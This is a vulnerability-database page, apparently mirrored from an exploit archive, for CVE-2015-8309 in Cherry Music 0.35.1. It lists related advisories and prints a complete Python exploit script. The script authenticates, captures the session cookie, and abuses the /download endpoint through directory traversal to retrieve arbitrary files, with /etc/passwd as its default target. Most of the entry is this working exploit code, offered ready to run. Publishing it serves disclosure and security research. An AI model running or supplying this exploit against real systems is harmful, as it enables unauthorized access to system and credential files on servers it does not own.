Lucene search
K

Cherry Music 0.35.1 - Arbitrary File Disclosure

🗓️ 13 Sep 2016 00:00:00Reported by feedersecType 
zdt
 zdt
🔗 0day.today👁 20 Views

Cherry Music v0.35.1 directory traversal vulnerability allows authenticated users to download arbitrary files

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2015-8309
13 Sep 201600:00
circl
CNVD
cherry music Arbitrary File Disclosure Vulnerability
23 Sep 201600:00
cnvd
CVE
CVE-2015-8309
27 Mar 201715:00
cve
Cvelist
CVE-2015-8309
27 Mar 201715:00
cvelist
Exploit DB
Cherry Music 0.35.1 - Arbitrary File Disclosure
13 Sep 201600:00
exploitdb
EUVD
EUVD-2017-0018
7 Oct 202500:30
euvd
exploitpack
Cherry Music 0.35.1 - Arbitrary File Disclosure
13 Sep 201600:00
exploitpack
Github Security Blog
Cherry Music directory traversal vulnerability
17 May 202202:52
github
GitLab Advisory Database
Cherry Music directory traversal vulnerability
17 May 202200:00
gitlab
NVD
CVE-2015-8309
27 Mar 201715:59
nvd
Rows per page
# Exploit Title: Cherry Music v0.35.1 directory traversal vulnerability allows authenticated users to download arbitrary files
# Date: 11-09-2016
# Exploit Author: feedersec
# Contact: [email protected]
# Vendor Homepage: http://www.fomori.org/cherrymusic/index.html
# Software Link: http://www.fomori.org/cherrymusic/versions/cherrymusic-0.35.1.tar.gz
# Version: 0.35.1
# Tested on: ubuntu 14.04 LTS
# CVE : CVE-2015-8309
 
import urllib2, cookielib, urllib
 
#set parameters here
username = 'admin'
password = 'Password01'
baseUrl = 'http://localhost:8080/'
targetFile = '/etc/passwd'
downloadFileName = 'result.zip'
####
 
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) 
params = urllib.urlencode({'username': username, 'password': password, 'login': 'login'})
req = urllib2.Request(baseUrl, params)
response = opener.open(req) 
for c in cj:
  if c.name == "session_id":
    session_id = c.value
 
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
opener.addheaders.append(('Cookie', 'session_id=' + session_id))
params = urllib.urlencode({'value': '["' + targetFile + '"]'})
request = urllib2.Request(baseUrl + "download", params)
response = opener.open(request).read()
with open(downloadFileName, 'wb') as zipFile:
    zipFile.write(response)

#  0day.today [2018-04-02]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation